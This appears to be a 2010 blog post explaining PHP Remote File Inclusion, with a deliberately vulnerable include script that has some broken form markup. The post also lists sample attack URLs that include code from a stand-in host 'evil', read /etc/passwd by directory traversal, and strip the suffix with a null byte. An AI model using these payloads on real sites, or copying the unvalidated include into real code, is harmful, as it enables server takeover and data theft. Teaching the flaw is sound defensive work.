Thursday, April 15, 2010

PHP Remote File Inclusion



Remote File Inclusion is a technique used to attack websites from a remote computer.RFI allow malicious users to run their own PHP code on a vulnerable website.This allows the attacker to use and run any remote file just by editing the URL. Like a webshell can display the files and folders on the server and can add,edit or delete files and folders,send spams and even get hold of root.

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites, it allows an attacker to include a remote file usually through a script on the web server. The vulnerability occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:
  • Code execution on the web server
  • Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
  • Denial of Service (DoS)
  • Data Theft/Manipulation



In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function, most notable are the include and require statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has an allow_url_fopen directive and if enabled it allows filesystem functions to use a URL which allow them to retrieve data from remote locations. An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this, all user input needs to be validated before being used.

Example

Consider this PHP script (which includes a file specified by request):

   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
method="get">
> type="submit"> >
The developer intended only blue.php and red.php to be used as options. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:
  • /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
  • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
  • /vulnerable.php?COLOR=../../../../../../../../etc/passwd - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
  • /vulnerable.php?COLOR=C:\\notes.txt - example using NULL meta character to remove the .php suffix, allowing access to files other than .php. (With magic_quotes_gpc enabled this limits the attack by escaping special characters, this disables the use of the Null character)

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